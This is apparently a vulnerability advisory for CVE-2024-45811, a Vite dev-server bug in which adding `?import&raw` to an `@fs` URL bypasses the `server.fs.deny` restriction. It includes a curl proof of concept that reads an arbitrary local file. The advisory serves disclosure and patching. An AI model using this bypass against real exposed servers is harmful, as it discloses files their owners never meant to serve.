CVE-2024-45811

MEDIUM5.3EPSS 0.01%

Vite's `server.fs.deny` is bypassed when using `?import&raw`

Published: 9/17/2024Modified: 2/4/2026

Description

### Summary The contents of arbitrary files can be returned to the browser. ### Details `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. ### PoC ```sh $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```

Affected packages (1)

CVSS scores

SourceVersionSeverityVector
osvCVSS 4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
osvCVSS 3.1MEDIUM5.3CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References (8)